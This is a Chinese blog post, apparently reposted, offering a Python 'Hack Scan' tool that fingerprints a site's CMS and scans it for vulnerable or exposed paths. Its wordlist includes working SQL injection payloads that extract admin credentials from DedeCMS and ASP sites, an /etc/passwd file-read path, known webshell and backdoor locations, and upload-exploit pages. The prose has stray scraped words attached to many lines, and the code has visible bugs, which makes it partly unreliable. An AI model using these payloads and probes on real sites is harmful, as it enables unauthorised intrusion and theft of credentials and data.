python寫個Hack Scan

時間 2019-11-30

標籤 python hack scan 欄目 Python 简体版

原文原文鏈接

前言：javascript

以前逛SAFEING極客社區的時候php

發現一款黑市賣2000多的軟件，後面下載了html

打不開。發現config文件裏面有些不錯的東西。總結了一下java

有了如下的腳本。web

腳本用處：sql

【1】探測CMS（不敢說百分百吧，起碼準確率不低於80%）加大了判斷shell

【2】挖掘敏感目錄下存在的漏洞數據庫

代碼：json

hack.pyubuntu

import requests
import re
import threading
import json
print('banner')
banner=""" _   _            _     ____                  
| | | | __ _  ___| | __/ ___|  ___ __ _ _ __  
| |_| |/ _` |/ __| |/ /\___ \ / __/ _` | '_ \ 
|  _  | (_| | (__|   <  ___) | (_| (_| | | | |
|_| |_|\__,_|\___|_|\_\|____/ \___\__,_|_| |_|
                                              
"""
print('[1]CMS識別與CMS特殊路徑收集')
print('[2]敏感目錄掃描')
print(banner)
xz=input('請選擇:')
def ini():
    global e
    import configparser
    conf = configparser.ConfigParser()
    cmserror = []
    conf.read('hackscan.ini')
    error = conf.get('cmscanerror', 'error')
    error1 = conf.get('cmscanerror', 'error1')
    error2 = conf.get('cmscanerror', 'error2')
    error3 = conf.get('cmscanerror', 'error3')
    error4 = conf.get('cmscanerror', 'error4')
    error5 = conf.get('cmscanerror', 'error5')
    error6 = conf.get('cmscanerror', 'error6')
    error7 = conf.get('cmscanerror', 'error7')
    error8 = conf.get('cmscanerror', 'error8')
    error9 = conf.get('cmscanerror', 'error9')
    error10 = conf.get('cmscanerror', 'error10')
    error11 = conf.get('cmscanerror', 'error11')
    error12 = conf.get('cmscanerror', 'error12')
    cmserror.append(error1)
    cmserror.append(error2)
    cmserror.append(error3)
    cmserror.append(error4)
    cmserror.append(error5)
    cmserror.append(error6)
    cmserror.append(error7)
    cmserror.append(error8)
    cmserror.append(error9)
    cmserror.append(error10)
    cmserror.append(error11)
    cmserror.append(error12)
    for e in cmserror:
        pass
ini()
def cmsscan():
    user = input('輸入要掃描的url：')
    print('[&]識別CMS，並掃描出CMS存活的路徑')
    yuanheaders={'user-agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36'}
    yuan=user.rstrip().rstrip('/')
    yuans=requests.get(url=yuan,headers=yuanheaders,allow_redirects=False)
    yuanlen=len(yuans.text)

    print('[@]掃描中....')
    with open('data.json', 'r') as b:
        a = json.load(b)
        lisw = eval(str(a))
        for x in lisw:
            cms=x['url']
            cmsname=x['name']

            headers={'user-agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36'}
            urls=user.rstrip().rstrip('/')+cms
            cmssb=requests.get(url=urls,headers=headers,allow_redirects=False)
            cmslen=len(cmssb.text)
            if cmssb.status_code == 200 and yuanlen != cmslen:
                    print('[*]識別到的CMSurl：{}'.format(cmssb.url))
                    print('[*]CMS爲:{}'.format(cmsname))
            else:
               pass

def mgscan():
    user = input('輸入要掃描的url：')
    with open('漏洞.txt', 'r') as a:
        for x in a.readlines():
            url = re.findall('(.*?)\|\|', x.strip())
            names = re.findall('\|\|(.*)', x.strip())
            urls = "".join(url)
            payload=user.rstrip().rstrip('/')+urls
            namess="".join(names)
            headers = {'user-agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36'}
            mgs=requests.get(url=payload,headers=headers,allow_redirects=False)
            if mgs.status_code == 200:
                if e in str(mgs.text):
                    pass
                else:
                    print('[*]掃描出的敏感目錄:{}'.format(mgs.url))
                    print(namess)



def main():
    while True:
        if xz == '1':
            c=threading.Thread(target=cmsscan,args=())
            c.start()
            break
        elif xz == '2':
            mgscan()
            m=threading.Thread(target=mgscan,args=())
            m.start()
        else:
            print('[-]輸入不能爲空！')
            continue
main()

hacksca.ini

[cmscanerror]
error=找不到這個文件
error1=找不到該網頁
error2=NotFound
error3=這個網頁迷失了
error4=不存在
error5=不存在該網頁
error6=404
error7=您無權訪問該網頁
error8=防火牆
error9=沒有這個網頁
error10=網頁不見了
error11=ERROR
error12=errors

漏洞.txt

/FCKeditor/editor/filemanager/connectors/uploadtest.html||File Upload|Fck上傳，請手動檢測
/FCKeditor/editor/filemanager/connectors/uploadtest.html||查閱fckeditor漏洞利用
/FCKeditor/editor/filemanager/upload/test.html||File Upload|Fck上傳，請手動檢測
/FCKeditor/editor/filemanager/upload/test.html||查閱fckeditor漏洞利用
/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/tinybrowser.php||Tinymce漏洞
/adminer.php||MYSQL管理界面
/wp-login.php||wordpress登錄界面
/blog/wp-login.php||wordpress登錄界面
/wordpress/wp-login.php||wordpress登錄界面
/phpmyadmin/index.php||MYSQL管理界面
/admin.txt||密碼文件
/pass.txt||密碼文件
/qq.txt||密碼文件
/bigdump.php||Php數據庫管理文件 Exp:http://host/bigdump.php?start=
/config.txt||密碼文件
/extras/curltest.php||ZENcart系統漏洞文件
/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html||Opencart 1.4.9.1 - Remote File Upload Vulnerability
/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media||ZENcart系統漏洞文件
/editors/fckeditor/editor/filemanager/upload/php/upload.php||FCK編輯器上傳
/includes/templates/template_default/buttons/english/button_add_address.gif||zencart系統
/editors/htmlarea/plugins/ImageManager/images.php||Tinymce漏洞
/editors/tiny_mce/plugins/ImageManager/manager.php||ZENcart系統漏洞文件
/editors/tiny_mce/plugins/filemanager/pages/fm/index.html||Tinymce漏洞
/.svn/entries||svn漏洞
/NewsType.asp?SmallClass='%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20select%20*%20from%20news%20where%201=2%20and%20''='||SQL注入
/WEB-INF/classes/jmx-console-users.properties||JSP敏感文件
/admin/diy.asp||後們木馬
/admin/system/editor/FCKeditor/editor/fckeditor.Html||fckeditor漏洞
/autogetarticle/_GetLockPic.php?p=/etc/passwd||查閱"DoNews任意文件下載
/diy.asp||後門木馬
/editor/editor/filemanager/browser/default/connectors/test.html|File Upload|Fck上傳，請手動檢測
/editor/editor/filemanager/browser/default/connectors/test.html||查閱fckeditor漏洞利用
/editor/editor/filemanager/connectors/test.html|File Upload|Fck上傳，請手動檢測
/editor/editor/filemanager/connectors/test.html||查閱fckeditor漏洞利用
/editor/editor/filemanager/connectors/uploadtest.html|File Upload|Fck上傳，請手動檢測
/editor/editor/filemanager/connectors/uploadtest.html||查閱fckeditor漏洞利用
/editor/editor/filemanager/upload/test.html||查閱fckeditor漏洞利用
/fckeditor/editor/filemanager/browser/default/connectors/test.html|www.fckeditor.net|Fck上傳，請手動檢測
/fckeditor/editor/filemanager/browser/default/connectors/test.html||查閱fckeditor漏洞利用
/fckeditor/editor/filemanager/connectors/test.html|File Upload|Fck上傳，請手動檢測
/fckeditor/editor/filemanager/connectors/test.html||查閱fckeditor漏洞利用
/includes/modules/payment/alipay.php||查alipay.php利用
/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a||DEDE注入漏洞
/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a||DEDE注入漏洞
/web-console/||用admin-admin嘗試登陸-jboss漏洞
/webmanage/FCKeditor/editor/filemanager/connectors/uploadtest.html||查閱fckeditor漏洞利用
/webmanage/fckeditor/editor/filemanager/browser/default/connectors/test.html||查閱fckeditor漏洞利用
/webmanage/fckeditor/editor/filemanager/connectors/test.html||查閱fckeditor漏洞利用
/1.rar||敏感文件
/1.zip||敏感文件
/147.rar||敏感文件
/2.rar||敏感文件
/2.zip||敏感文件
/369.rar||敏感文件
/HYTop.mdb||木馬備份的整站
/Upfile_AdPia.asp||上傳後綴
/Upfile_AdPic.asp||上傳後綴
/Upfile_Articla.asp||上傳後綴
/Upfile_Article.asp||上傳後綴
/Upfile_Dialog.asp||上傳後綴
/Upfile_OrderPic.asp||上傳後綴
/admimistrator||可能爲管理員後臺路徑
/admin.rar||關鍵文件
/admin.zip||關鍵文件
/admin||可能爲管理員後臺路徑
/c99.php|s|老外木馬，有通殺後門http://www.blackploit.com/2014/06/backdoor-en-shell-c99php-bypass-password.html
/data.rar||數據庫文件
/data.zip||數據庫文件
/db.rar||數據庫文件
/db.zip||數據庫文件
/fdsa.rar||整站文件
/fdsa.zip||整站文件
/flashfxp.rar||關鍵文件
/flashfxp.zip||關鍵文件
/ftp.txt||密碼文件
/gg.rar||關鍵文件
/manage||可能爲管理員後臺路徑
/password.txt||密碼文件
/root.rar||整站文件
/root.zip||整站文件
/sb.rar||敏感文件
/server.rar||敏感文件
/server/default/conf/props/jmx-console-users.propertie||查閱jboss漏洞
/sf.rar||敏感文件
/shop.mdb||敏感文件
/sql.rar||敏感文件
/test.rar||敏感文件
/unix.rar||敏感文件
/upfile.asp||上傳後綴
/upfile_adpic.asp||上傳後綴
/upfile_flash.asp||上傳後綴
/upfile_photo.asp||上傳後綴
/upfile_softpic.asp||上傳後綴
/upload.asp||上傳後綴
/user.dat||敏感文件
/user.rar||敏感文件
/vip.rar||關鍵文件
/wangzhan.rar||整站文件
/wangzhan.zip||整站文件
/web.rar||整站文件
/web.zip||整站文件
/wo.rar||敏感文件
/www.rar||整站文件
/www.zip||整站文件
/wwwroot.rar||整站文件
/wwwroot.zip||整站文件
/wz.rar||整站文件
/wz.zip||整站文件
/復件 wwww.rar||關鍵文件
/復件 新建文件夾.rar||關鍵文件
/新建文件夾.rar||關鍵文件
/新建文件夾.zip||關鍵文件
/軟件.rar||關鍵文件